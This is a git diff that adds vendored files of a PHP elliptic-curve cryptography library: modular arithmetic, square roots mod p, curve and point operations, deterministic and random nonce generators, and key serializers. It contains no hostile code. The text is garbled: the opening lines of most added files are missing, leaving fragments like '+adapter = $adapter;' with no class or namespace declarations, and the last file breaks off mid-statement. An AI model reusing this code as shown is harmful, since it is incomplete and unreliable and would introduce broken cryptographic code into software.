/** + * @param \GMP $augend + * @param \GMP $addend + * @return \GMP + */ + public function add(\GMP $augend, \GMP $addend): \GMP + { + return $this->adapter->mod($this->adapter->add($augend, $addend), $this->modulus); + } + + /** + * @param \GMP $minuend + * @param \GMP $subtrahend + * @return \GMP + */ + public function sub(\GMP $minuend, \GMP $subtrahend): \GMP + { + return $this->adapter->mod($this->adapter->sub($minuend, $subtrahend), $this->modulus); + } + + /** + * @param \GMP $multiplier + * @param \GMP $muliplicand + * @return \GMP + */ + public function mul(\GMP $multiplier, \GMP $muliplicand): \GMP + { + return $this->adapter->mod($this->adapter->mul($multiplier, $muliplicand), $this->modulus); + } + + /** + * @param \GMP $dividend + * @param \GMP $divisor + * @return \GMP + */ + public function div(\GMP $dividend, \GMP $divisor): \GMP + { + return $this->mul($dividend, $this->adapter->inverseMod($divisor, $this->modulus)); + } + + /** + * @param \GMP $base + * @param \GMP $exponent + * @return \GMP + */ + public function pow(\GMP $base, \GMP $exponent): \GMP + { + return $this->adapter->powmod($base, $exponent, $this->modulus); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Math/NumberTheory.php b/includes/vendor/mdanter/ecc/src/Math/NumberTheory.php new file mode 100644 index 0000000..9b43b47 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Math/NumberTheory.php @@ -0,0 +1,267 @@ +adapter = $adapter; + $this->zero = gmp_init(0, 10); + $this->one = gmp_init(1, 10); + $this->two = gmp_init(2, 10); + } + + /** + * @param \GMP[] $poly + * @param \GMP[] $polymod + * @param \GMP $p + * @return \GMP[] + */ + public function polynomialReduceMod(array $poly, array $polymod, \GMP $p): array + { + $adapter = $this->adapter; + + // Only enter if last value is set, implying count > 0 + if ((($last = end($polymod)) instanceof \GMP) && $adapter->equals($last, $this->one)) { + $count_polymod = count($polymod); + while (count($poly) >= $count_polymod) { + if (!$adapter->equals(end($poly), $this->zero)) { + for ($i = 2; $i < $count_polymod + 1; $i++) { + $poly[count($poly) - $i] = + $adapter->mod( + $adapter->sub( + $poly[count($poly) - $i], + $adapter->mul( + end($poly), + $polymod[$count_polymod - $i] + ) + ), + $p + ); + } + } + + $poly = array_slice($poly, 0, count($poly) - 1); + } + + return $poly; + } + + throw new NumberTheoryException('Unable to calculate polynomialReduceMod'); + } + + /** + * @param \GMP[] $m1 + * @param \GMP[] $m2 + * @param \GMP[] $polymod + * @param \GMP $p + * @return \GMP[] + */ + public function polynomialMultiplyMod(array $m1, array $m2, array $polymod, \GMP $p): array + { + $prod = array(); + $cm1 = count($m1); + $cm2 = count($m2); + + for ($i = 0; $i < $cm1; $i++) { + for ($j = 0; $j < $cm2; $j++) { + $index = $i + $j; + if (!isset($prod[$index])) { + $prod[$index] = $this->zero; + } + $prod[$index] = + $this->adapter->mod( + $this->adapter->add( + $prod[$index], + $this->adapter->mul( + $m1[$i], + $m2[$j] + ) + ), + $p + ); + } + } + + return $this->polynomialReduceMod($prod, $polymod, $p); + } + + /** + * @param \GMP[] $base + * @param \GMP $exponent + * @param \GMP[] $polymod + * @param \GMP $p + * @return \GMP[] + */ + public function polynomialPowMod(array $base, \GMP $exponent, array $polymod, \GMP $p): array + { + $adapter = $this->adapter; + + if ($adapter->cmp($exponent, $p) < 0) { + if ($adapter->equals($exponent, $this->zero)) { + return $this->one; + } + + $G = $base; + $k = $exponent; + + if ($adapter->equals($adapter->mod($k, $this->two), $this->one)) { + $s = $G; + } else { + $s = array($this->one); + } + + while ($adapter->cmp($k, $this->one) > 0) { + $k = $adapter->div($k, $this->two); + + $G = $this->polynomialMultiplyMod($G, $G, $polymod, $p); + if ($adapter->equals($adapter->mod($k, $this->two), $this->one)) { + $s = $this->polynomialMultiplyMod($G, $s, $polymod, $p); + } + } + + return $s; + } + + throw new NumberTheoryException('Unable to calculate polynomialPowMod'); + } + + /** + * @param \GMP $a + * @param \GMP $p + * @return \GMP + */ + public function squareRootModP(\GMP $a, \GMP $p): \GMP + { + $math = $this->adapter; + $four = gmp_init(4, 10); + $eight = gmp_init(8, 10); + + $modMath = $math->getModularArithmetic($p); + if ($math->cmp($this->one, $p) < 0) { + if ($math->equals($a, $this->zero)) { + return $this->zero; + } + + if ($math->equals($p, $this->two)) { + return $a; + } + + $jac = $math->jacobi($a, $p); + if ($jac === -1) { + throw new SquareRootException("{$math->toString($a)} has no square root modulo {$math->toString($p)}"); + } + + if ($math->equals($math->mod($p, $four), gmp_init(3, 10))) { + return $modMath->pow($a, $math->div($math->add($p, $this->one), $four)); + } + + if ($math->equals($math->mod($p, $eight), gmp_init(5, 10))) { + $d = $modMath->pow($a, $math->div($math->sub($p, $this->one), $four)); + if ($math->equals($d, $this->one)) { + return $modMath->pow($a, $math->div($math->add($p, gmp_init(3, 10)), $eight)); + } + + if ($math->equals($d, $math->sub($p, $this->one))) { + return $modMath->mul( + $math->mul( + $this->two, + $a + ), + $modMath->pow( + $math->mul( + $four, + $a + ), + $math->div( + $math->sub( + $p, + gmp_init(5, 10) + ), + $eight + ) + ) + ); + } + //shouldn't get here + } + + for ($b = $this->two; $math->cmp($b, $p) < 0; $b = gmp_add($b, $this->one)) { + if ($math->jacobi( + $math->sub( + $math->mul($b, $b), + $math->mul($four, $a) + ), + $p + ) == -1 + ) { + $f = array($a, $math->sub($this->zero, $b), $this->one); + + $ff = $this->polynomialPowMod( + array($this->zero, $this->one), + $math->div( + $math->add( + $p, + $this->one + ), + $this->two + ), + $f, + $p + ); + + if ($math->equals($ff[1], $this->zero)) { + return $ff[0]; + } + // if we got here no b was found + } + } + } + + throw new SquareRootException('Unable to calculate square root mod p!'); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Primitives/CurveFp.php b/includes/vendor/mdanter/ecc/src/Primitives/CurveFp.php new file mode 100644 index 0000000..7a89ced --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Primitives/CurveFp.php @@ -0,0 +1,244 @@ +parameters = $parameters; + $this->adapter = $adapter; + $this->modAdapter = new ModularArithmetic($this->adapter, $this->parameters->getPrime()); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\CurveFpInterface::getModAdapter() + */ + public function getModAdapter(): ModularArithmetic + { + return $this->modAdapter; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\CurveFpInterface::getPoint() + */ + public function getPoint(\GMP $x, \GMP $y, \GMP $order = null): PointInterface + { + return new Point($this->adapter, $this, $x, $y, $order); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\CurveFpInterface::getInfinity() + */ + public function getInfinity(): PointInterface + { + return new Point($this->adapter, $this, gmp_init(0, 10), gmp_init(0, 10), null, true); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\CurveFpInterface::getGenerator() + */ + public function getGenerator(\GMP $x, \GMP $y, \GMP $order, RandomNumberGeneratorInterface $randomGenerator = null): GeneratorPoint + { + return new GeneratorPoint($this->adapter, $this, $x, $y, $order, $randomGenerator); + } + + /** + * @param bool $wasOdd + * @param \GMP $xCoord + * @return \GMP + */ + public function recoverYfromX(bool $wasOdd, \GMP $xCoord): \GMP + { + $math = $this->adapter; + $prime = $this->getPrime(); + + try { + $root = $this->adapter->getNumberTheory()->squareRootModP( + $math->add( + $math->add( + $this->modAdapter->pow($xCoord, gmp_init(3, 10)), + $math->mul($this->getA(), $xCoord) + ), + $this->getB() + ), + $prime + ); + } catch (SquareRootException $e) { + throw new PointRecoveryException("Failed to recover y coordinate for point", 0, $e); + } + + if ($math->equals($math->mod($root, gmp_init(2, 10)), gmp_init(1)) === $wasOdd) { + return $root; + } else { + return $math->sub($prime, $root); + } + } + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\CurveFpInterface::contains() + */ + public function contains(\GMP $x, \GMP $y): bool + { + $math = $this->adapter; + + $eq_zero = $math->equals( + $this->modAdapter->sub( + $math->pow($y, 2), + $math->add( + $math->add( + $math->pow($x, 3), + $math->mul($this->getA(), $x) + ), + $this->getB() + ) + ), + gmp_init(0, 10) + ); + + return $eq_zero; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\CurveFpInterface::getA() + */ + public function getA(): \GMP + { + return $this->parameters->getA(); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\CurveFpInterface::getB() + */ + public function getB(): \GMP + { + return $this->parameters->getB(); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\CurveFpInterface::getPrime() + */ + public function getPrime(): \GMP + { + return $this->parameters->getPrime(); + } + + /** + * @return int + */ + public function getSize(): int + { + return $this->parameters->getSize(); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\CurveFpInterface::cmp() + */ + public function cmp(CurveFpInterface $other): int + { + $math = $this->adapter; + + $equal = $math->equals($this->getA(), $other->getA()); + $equal &= $math->equals($this->getB(), $other->getB()); + $equal &= $math->equals($this->getPrime(), $other->getPrime()); + + return ($equal) ? 0 : 1; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\CurveFpInterface::equals() + */ + public function equals(CurveFpInterface $other): bool + { + return $this->cmp($other) == 0; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\CurveFpInterface::__toString() + */ + public function __toString(): string + { + return 'curve(' . $this->adapter->toString($this->getA()) . ', ' . $this->adapter->toString($this->getB()) . ', ' . $this->adapter->toString($this->getPrime()) . ')'; + } + + /** + * @return array + */ + public function __debugInfo() + { + return [ + 'a' => $this->adapter->toString($this->getA()), + 'b' => $this->adapter->toString($this->getB()), + 'prime' => $this->adapter->toString($this->getPrime()) + ]; + } +} diff --git a/includes/vendor/mdanter/ecc/src/Primitives/CurveFpInterface.php b/includes/vendor/mdanter/ecc/src/Primitives/CurveFpInterface.php new file mode 100644 index 0000000..4913bf5 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Primitives/CurveFpInterface.php @@ -0,0 +1,137 @@ + 0 if $this > $other + */ + public function cmp(CurveFpInterface $other): int; + + /** + * Checks whether the curve is equal to another. + * + * @param CurveFpInterface $other + * @return bool + */ + public function equals(CurveFpInterface $other): bool; + + /** + * Return string representation of curve for debugging + * + * @return string + */ + public function __toString(): string; +} diff --git a/includes/vendor/mdanter/ecc/src/Primitives/CurveParameters.php b/includes/vendor/mdanter/ecc/src/Primitives/CurveParameters.php new file mode 100644 index 0000000..473ae16 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Primitives/CurveParameters.php @@ -0,0 +1,79 @@ +size = $size; + $this->prime = $prime; + $this->a = $a; + $this->b = $b; + } + + /** + * @return \GMP + */ + public function getA(): \GMP + { + return $this->a; + } + + /** + * @return \GMP + */ + public function getB(): \GMP + { + return $this->b; + } + + /** + * @return \GMP + */ + public function getPrime(): \GMP + { + return $this->prime; + } + + /** + * @return int + */ + public function getSize(): int + { + return $this->size; + } +} diff --git a/includes/vendor/mdanter/ecc/src/Primitives/GeneratorPoint.php b/includes/vendor/mdanter/ecc/src/Primitives/GeneratorPoint.php new file mode 100644 index 0000000..3fa5e9f --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Primitives/GeneratorPoint.php @@ -0,0 +1,107 @@ +generator = $generator ?: RandomGeneratorFactory::getRandomGenerator(); + parent::__construct($adapter, $curve, $x, $y, $order); + } + + /** + * Verifies validity of given coordinates against the current point and its point. + * + * @todo Check if really necessary here (only used for testing in lib) + * @param \GMP $x + * @param \GMP $y + * @return bool + */ + public function isValid(\GMP $x, \GMP $y): bool + { + + $math = $this->getAdapter(); + + $n = $this->getOrder(); + $zero = gmp_init(0, 10); + $curve = $this->getCurve(); + + if ($math->cmp($x, $zero) < 0 || $math->cmp($n, $x) <= 0 || $math->cmp($y, $zero) < 0 || $math->cmp($n, $y) <= 0) { + return false; + } + + if (! $curve->contains($x, $y)) { + return false; + } + + $point = $curve->getPoint($x, $y)->mul($n); + + if (! $point->isInfinity()) { + return false; + } + + return true; + } + + /** + * @return PrivateKeyInterface + */ + public function createPrivateKey(): PrivateKeyInterface + { + $secret = $this->generator->generate($this->getOrder()); + + return new PrivateKey($this->getAdapter(), $this, $secret); + } + + /** + * @param \GMP $x + * @param \GMP $y + * @return PublicKeyInterface + */ + public function getPublicKeyFrom(\GMP $x, \GMP $y): PublicKeyInterface + { + $pubPoint = $this->getCurve()->getPoint($x, $y, $this->getOrder()); + return new PublicKey($this->getAdapter(), $this, $pubPoint); + } + + /** + * @param \GMP $secretMultiplier + * @return PrivateKeyInterface + */ + public function getPrivateKeyFrom(\GMP $secretMultiplier): PrivateKeyInterface + { + return new PrivateKey($this->getAdapter(), $this, $secretMultiplier); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Primitives/Point.php b/includes/vendor/mdanter/ecc/src/Primitives/Point.php new file mode 100644 index 0000000..8646467 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Primitives/Point.php @@ -0,0 +1,413 @@ +adapter = $adapter; + $this->modAdapter = $curve->getModAdapter(); + $this->curve = $curve; + $this->x = $x; + $this->y = $y; + $this->order = $order !== null ? $order : gmp_init(0, 10); + $this->infinity = (bool) $infinity; + if (! $infinity && ! $curve->contains($x, $y)) { + throw new PointNotOnCurveException($x, $y, $curve); + } + + if (!is_null($order)) { + $mul = $this->mul($order); + if (!$mul->isInfinity()) { + throw new PointException("SELF * ORDER MUST EQUAL INFINITY. (" . (string)$mul . " found instead)"); + } + } + } + + /** + * @return GmpMathInterface + */ + public function getAdapter(): GmpMathInterface + { + return $this->adapter; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\PointInterface::isInfinity() + */ + public function isInfinity(): bool + { + return (bool) $this->infinity; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\PointInterface::getCurve() + */ + public function getCurve(): CurveFpInterface + { + return $this->curve; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\PointInterface::getOrder() + */ + public function getOrder(): \GMP + { + return $this->order; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\PointInterface::getX() + */ + public function getX(): \GMP + { + return $this->x; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\PointInterface::getY() + */ + public function getY(): \GMP + { + return $this->y; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\PointInterface::add() + * @return self + */ + public function add(PointInterface $addend): PointInterface + { + if (! $this->curve->equals($addend->getCurve())) { + throw new \RuntimeException("The Elliptic Curves do not match."); + } + + if ($addend->isInfinity()) { + return clone $this; + } + + if ($this->isInfinity()) { + return clone $addend; + } + + $math = $this->adapter; + $modMath = $this->modAdapter; + + if ($math->equals($addend->getX(), $this->x)) { + if ($math->equals($addend->getY(), $this->y)) { + return $this->getDouble(); + } else { + return $this->curve->getInfinity(); + } + } + + $slope = $modMath->div( + $math->sub($addend->getY(), $this->y), + $math->sub($addend->getX(), $this->x) + ); + + $xR = $modMath->sub( + $math->sub($math->pow($slope, 2), $this->x), + $addend->getX() + ); + + $yR = $modMath->sub( + $math->mul($slope, $math->sub($this->x, $xR)), + $this->y + ); + + return $this->curve->getPoint($xR, $yR, $this->order); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\PointInterface::cmp() + */ + public function cmp(PointInterface $other): int + { + if ($other->isInfinity() && $this->isInfinity()) { + return 0; + } + + if ($other->isInfinity() || $this->isInfinity()) { + return 1; + } + + $math = $this->adapter; + $equal = ($math->equals($this->x, $other->getX())); + $equal &= ($math->equals($this->y, $other->getY())); + $equal &= $this->isInfinity() == $other->isInfinity(); + $equal &= $this->curve->equals($other->getCurve()); + + if ($equal) { + return 0; + } + + return 1; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\PointInterface::equals() + */ + public function equals(PointInterface $other): bool + { + return $this->cmp($other) == 0; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\PointInterface::mul() + */ + public function mul(\GMP $n): PointInterface + { + if ($this->isInfinity()) { + return $this->curve->getInfinity(); + } + + $zero = gmp_init(0, 10); + if ($this->adapter->cmp($this->order, $zero) > 0) { + $n = $this->adapter->mod($n, $this->order); + } + + if ($this->adapter->equals($n, $zero)) { + return $this->curve->getInfinity(); + } + + /** @var Point[] $r */ + $r = [ + $this->curve->getInfinity(), + clone $this + ]; + + $k = $this->curve->getSize(); + $n = str_pad($this->adapter->baseConvert($this->adapter->toString($n), 10, 2), $k, '0', STR_PAD_LEFT); + + for ($i = 0; $i < $k; $i++) { + $j = $n[$i]; + + $this->cswap($r[0], $r[1], $j ^ 1, $k); + + $r[0] = $r[0]->add($r[1]); + $r[1] = $r[1]->getDouble(); + + $this->cswap($r[0], $r[1], $j ^ 1, $k); + } + + $r[0]->validate(); + + return $r[0]; + } + + /** + * @param Point $a + * @param Point $b + * @param int $cond + * @param int $curveSize + */ + private function cswap(self $a, self $b, int $cond, int $curveSize) + { + $this->cswapValue($a->x, $b->x, $cond, $curveSize); + $this->cswapValue($a->y, $b->y, $cond, $curveSize); + $this->cswapValue($a->order, $b->order, $cond, $curveSize); + $this->cswapValue($a->infinity, $b->infinity, $cond, 8); + } + + /** + * @param bool|\GMP $a + * @param bool|\GMP $b + * @param int $cond + * @param int $maskBitSize + */ + public function cswapValue(& $a, & $b, int $cond, int $maskBitSize) + { + $isGMP = is_object($a) && $a instanceof \GMP; + + $sa = $isGMP ? $a : gmp_init(intval($a), 10); + $sb = $isGMP ? $b : gmp_init(intval($b), 10); + + $mask = str_pad('', $maskBitSize, (string) (1 - intval($cond)), STR_PAD_LEFT); + $mask = gmp_init($mask, 2); + + $taA = $this->adapter->bitwiseAnd($sa, $mask); + $taB = $this->adapter->bitwiseAnd($sb, $mask); + + $sa = $this->adapter->bitwiseXor($this->adapter->bitwiseXor($sa, $sb), $taB); + $sb = $this->adapter->bitwiseXor($this->adapter->bitwiseXor($sa, $sb), $taA); + $sa = $this->adapter->bitwiseXor($this->adapter->bitwiseXor($sa, $sb), $taB); + + $a = $isGMP ? $sa : (bool) gmp_strval($sa, 10); + $b = $isGMP ? $sb : (bool) gmp_strval($sb, 10); + } + + /** + * + */ + private function validate() + { + if (! $this->infinity && ! $this->curve->contains($this->x, $this->y)) { + throw new \RuntimeException('Invalid point'); + } + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\PointInterface::getDouble() + * @return self + */ + public function getDouble(): PointInterface + { + if ($this->isInfinity()) { + return $this->curve->getInfinity(); + } + + $math = $this->adapter; + $modMath = $this->modAdapter; + + $a = $this->curve->getA(); + $threeX2 = $math->mul(gmp_init(3, 10), $math->pow($this->x, 2)); + + $tangent = $modMath->div( + $math->add($threeX2, $a), + $math->mul(gmp_init(2, 10), $this->y) + ); + + $x3 = $modMath->sub( + $math->pow($tangent, 2), + $math->mul(gmp_init(2, 10), $this->x) + ); + + $y3 = $modMath->sub( + $math->mul($tangent, $math->sub($this->x, $x3)), + $this->y + ); + + return $this->curve->getPoint($x3, $y3, $this->order); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Primitives\PointInterface::__toString() + */ + public function __toString(): string + { + if ($this->infinity) { + return '[ (infinity) on ' . (string) $this->curve . ' ]'; + } + + return "[ (" . $this->adapter->toString($this->x) . "," . $this->adapter->toString($this->y) . ') on ' . (string) $this->curve . ' ]'; + } + + /** + * @return array + */ + public function __debugInfo(): array + { + $info = [ + 'x' => $this->adapter->toString($this->x), + 'y' => $this->adapter->toString($this->y), + 'z' => $this->adapter->toString($this->order), + 'curve' => $this->curve + ]; + + if ($this->infinity) { + $info['x'] = 'inf (' . $info['x'] . ')'; + $info['y'] = 'inf (' . $info['y'] . ')'; + $info['z'] = 'inf (' . $info['z'] . ')'; + } + + return $info; + } +} diff --git a/includes/vendor/mdanter/ecc/src/Primitives/PointInterface.php b/includes/vendor/mdanter/ecc/src/Primitives/PointInterface.php new file mode 100644 index 0000000..9bb09cf --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Primitives/PointInterface.php @@ -0,0 +1,122 @@ +generator = $generator; + $this->generatorName = $name; + } + + /** + * @param \GMP $max + * @return \GMP + */ + public function generate(\GMP $max): \GMP + { + echo $this->generatorName.'::rand() = '; + + $result = $this->generator->generate($max); + + echo gmp_strval($result, 10).PHP_EOL; + + return $result; + } +} diff --git a/includes/vendor/mdanter/ecc/src/Random/HmacRandomNumberGenerator.php b/includes/vendor/mdanter/ecc/src/Random/HmacRandomNumberGenerator.php new file mode 100644 index 0000000..9af4554 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Random/HmacRandomNumberGenerator.php @@ -0,0 +1,150 @@ + 160, + 'sha224' => 224, + 'sha256' => 256, + 'sha384' => 384, + 'sha512' => 512 + ); + + /** + * Hmac constructor. + * @param GmpMathInterface $math + * @param PrivateKeyInterface $privateKey + * @param \GMP $messageHash - decimal hash of the message (*may* be truncated) + * @param string $algorithm - hashing algorithm + */ + public function __construct(GmpMathInterface $math, PrivateKeyInterface $privateKey, \GMP $messageHash, string $algorithm) + { + if (!isset($this->algSize[$algorithm])) { + throw new \InvalidArgumentException('Unsupported hashing algorithm'); + } + + $this->math = $math; + $this->algorithm = $algorithm; + $this->privateKey = $privateKey; + $this->messageHash = $messageHash; + } + + /** + * @param string $bits - binary string of bits + * @param \GMP $qlen - length of q in bits + * @return \GMP + */ + public function bits2int(string $bits, \GMP $qlen): \GMP + { + $vlen = gmp_init(BinaryString::length($bits) * 8, 10); + $hex = bin2hex($bits); + $v = gmp_init($hex, 16); + + if ($this->math->cmp($vlen, $qlen) > 0) { + $v = $this->math->rightShift($v, (int) $this->math->toString($this->math->sub($vlen, $qlen))); + } + + return $v; + } + + /** + * @param \GMP $int + * @param \GMP $rlen - rounded octet length + * @return string + */ + public function int2octets(\GMP $int, \GMP $rlen): string + { + $out = pack("H*", $this->math->decHex(gmp_strval($int, 10))); + $length = gmp_init(BinaryString::length($out), 10); + if ($this->math->cmp($length, $rlen) < 0) { + return str_pad('', (int) $this->math->toString($this->math->sub($rlen, $length)), "\x00") . $out; + } + + if ($this->math->cmp($length, $rlen) > 0) { + return BinaryString::substring($out, 0, (int) $this->math->toString($rlen)); + } + + return $out; + } + + /** + * @param string $algorithm + * @return int + */ + private function getHashLength(string $algorithm): int + { + return $this->algSize[$algorithm]; + } + + /** + * @param \GMP $q + * @return \GMP + */ + public function generate(\GMP $q): \GMP + { + $qlen = gmp_init(NumberSize::bnNumBits($this->math, $q), 10); + $rlen = $this->math->rightShift($this->math->add($qlen, gmp_init(7, 10)), 3); + $hlen = $this->getHashLength($this->algorithm); + $bx = $this->int2octets($this->privateKey->getSecret(), $rlen) . $this->int2octets($this->messageHash, $rlen); + + $v = str_pad('', $hlen >> 3, "\x01", STR_PAD_LEFT); + $k = str_pad('', $hlen >> 3, "\x00", STR_PAD_LEFT); + + $k = hash_hmac($this->algorithm, $v . "\x00" . $bx, $k, true); + $v = hash_hmac($this->algorithm, $v, $k, true); + + $k = hash_hmac($this->algorithm, $v . "\x01" . $bx, $k, true); + $v = hash_hmac($this->algorithm, $v, $k, true); + + $t = ''; + for (;;) { + $toff = gmp_init(0, 10); + while ($this->math->cmp($toff, $rlen) < 0) { + $v = hash_hmac($this->algorithm, $v, $k, true); + + $cc = min(BinaryString::length($v), (int) gmp_strval(gmp_sub($rlen, $toff), 10)); + $t .= BinaryString::substring($v, 0, $cc); + $toff = gmp_add($toff, $cc); + } + + $k = $this->bits2int($t, $qlen); + if ($this->math->cmp($k, gmp_init(0, 10)) > 0 && $this->math->cmp($k, $q) < 0) { + return $k; + } + + $k = hash_hmac($this->algorithm, $v . "\x00", $k, true); + $v = hash_hmac($this->algorithm, $v, $k, true); + } + } +} diff --git a/includes/vendor/mdanter/ecc/src/Random/RandomGeneratorFactory.php b/includes/vendor/mdanter/ecc/src/Random/RandomGeneratorFactory.php new file mode 100644 index 0000000..b783b66 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Random/RandomGeneratorFactory.php @@ -0,0 +1,61 @@ +adapter = $adapter; + } + + /** + * @param \GMP $max + * @return \GMP + */ + public function generate(\GMP $max): \GMP + { + $numBits = NumberSize::bnNumBits($this->adapter, $max); + $numBytes = (int) ceil($numBits / 8); + // Generate an integer of size >= $numBits + $bytes = random_bytes($numBytes); + $value = $this->adapter->stringToInt($bytes); + + $mask = gmp_sub(gmp_pow(2, $numBits), 1); + $integer = gmp_and($value, $mask); + + return $integer; + } +} diff --git a/includes/vendor/mdanter/ecc/src/Random/RandomNumberGeneratorInterface.php b/includes/vendor/mdanter/ecc/src/Random/RandomNumberGeneratorInterface.php new file mode 100644 index 0000000..bcc9457 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Random/RandomNumberGeneratorInterface.php @@ -0,0 +1,14 @@ +adapter = $adapter; + $this->theory = $adapter->getNumberTheory(); + } + + /** + * @param PointInterface $point + * @return string + */ + public function getPrefix(PointInterface $point): string + { + if ($this->adapter->equals($this->adapter->mod($point->getY(), gmp_init(2, 10)), gmp_init(0))) { + return '02'; + } else { + return '03'; + } + } + + /** + * @param PointInterface $point + * @return string + */ + public function serialize(PointInterface $point): string + { + $length = CurveOidMapper::getByteSize($point->getCurve()) * 2; + + $hexString = $this->getPrefix($point); + $hexString .= str_pad(gmp_strval($point->getX(), 16), $length, '0', STR_PAD_LEFT); + + return $hexString; + } + + /** + * @param CurveFpInterface $curve + * @param string $data - hex serialized compressed point + * @return PointInterface + */ + public function unserialize(CurveFpInterface $curve, string $data): PointInterface + { + $prefix = substr($data, 0, 2); + if ($prefix !== '03' && $prefix !== '02') { + throw new \InvalidArgumentException('Invalid data: only compressed keys are supported.'); + } + + $x = gmp_init(substr($data, 2), 16); + $y = $curve->recoverYfromX($prefix === '03', $x); + + return $curve->getPoint($x, $y); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Serializer/Point/PointSerializerInterface.php b/includes/vendor/mdanter/ecc/src/Serializer/Point/PointSerializerInterface.php new file mode 100644 index 0000000..c8733b1 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Serializer/Point/PointSerializerInterface.php @@ -0,0 +1,24 @@ +getCurve()) * 2; + + $hexString = '04'; + $hexString .= str_pad(gmp_strval($point->getX(), 16), $length, '0', STR_PAD_LEFT); + $hexString .= str_pad(gmp_strval($point->getY(), 16), $length, '0', STR_PAD_LEFT); + + return $hexString; + } + + /** + * @param CurveFpInterface $curve + * @param string $data + * @return PointInterface + */ + public function unserialize(CurveFpInterface $curve, string $data): PointInterface + { + if (BinaryString::substring($data, 0, 2) != '04') { + throw new \InvalidArgumentException('Invalid data: only uncompressed keys are supported.'); + } + + $data = BinaryString::substring($data, 2); + $dataLength = BinaryString::length($data); + + $x = gmp_init(BinaryString::substring($data, 0, $dataLength / 2), 16); + $y = gmp_init(BinaryString::substring($data, $dataLength / 2), 16); + + return $curve->getPoint($x, $y); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Serializer/PrivateKey/DerPrivateKeySerializer.php b/includes/vendor/mdanter/ecc/src/Serializer/PrivateKey/DerPrivateKeySerializer.php new file mode 100644 index 0000000..856bdc0 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Serializer/PrivateKey/DerPrivateKeySerializer.php @@ -0,0 +1,111 @@ +adapter = $adapter ?: MathAdapterFactory::getAdapter(); + $this->pubKeySerializer = $pubKeySerializer ?: new DerPublicKeySerializer($this->adapter); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Serializer\PrivateKey\PrivateKeySerializerInterface::serialize() + */ + public function serialize(PrivateKeyInterface $key): string + { + $privateKeyInfo = new Sequence( + new Integer(self::VERSION), + new OctetString($this->formatKey($key)), + new ExplicitlyTaggedObject(0, CurveOidMapper::getCurveOid($key->getPoint()->getCurve())), + new ExplicitlyTaggedObject(1, $this->encodePubKey($key)) + ); + + return $privateKeyInfo->getBinary(); + } + + /** + * @param PrivateKeyInterface $key + * @return BitString + */ + private function encodePubKey(PrivateKeyInterface $key): BitString + { + return new BitString( + $this->pubKeySerializer->getUncompressedKey($key->getPublicKey()) + ); + } + + /** + * @param PrivateKeyInterface $key + * @return string + */ + private function formatKey(PrivateKeyInterface $key): string + { + return gmp_strval($key->getSecret(), 16); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Serializer\PrivateKey\PrivateKeySerializerInterface::parse() + * @throws \FG\ASN1\Exception\ParserException + */ + public function parse(string $data): PrivateKeyInterface + { + $asnObject = ASNObject::fromBinary($data); + + if (! ($asnObject instanceof Sequence) || $asnObject->getNumberofChildren() !== 4) { + throw new \RuntimeException('Invalid data.'); + } + + $children = $asnObject->getChildren(); + + $version = $children[0]; + + if ($version->getContent() != 1) { + throw new \RuntimeException('Invalid data: only version 1 (RFC5915) keys are supported.'); + } + + $key = gmp_init($children[1]->getContent(), 16); + $oid = $children[2]->getContent()[0]; + $generator = CurveOidMapper::getGeneratorFromOid($oid); + + return $generator->getPrivateKeyFrom($key); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Serializer/PrivateKey/PemPrivateKeySerializer.php b/includes/vendor/mdanter/ecc/src/Serializer/PrivateKey/PemPrivateKeySerializer.php new file mode 100644 index 0000000..8014f50 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Serializer/PrivateKey/PemPrivateKeySerializer.php @@ -0,0 +1,56 @@ +derSerializer = $derSerializer; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Serializer\PrivateKey\PrivateKeySerializerInterface::serialize() + */ + public function serialize(PrivateKeyInterface $key): string + { + $privateKeyInfo = $this->derSerializer->serialize($key); + + $content = '-----BEGIN EC PRIVATE KEY-----'.PHP_EOL; + $content .= trim(chunk_split(base64_encode($privateKeyInfo), 64, 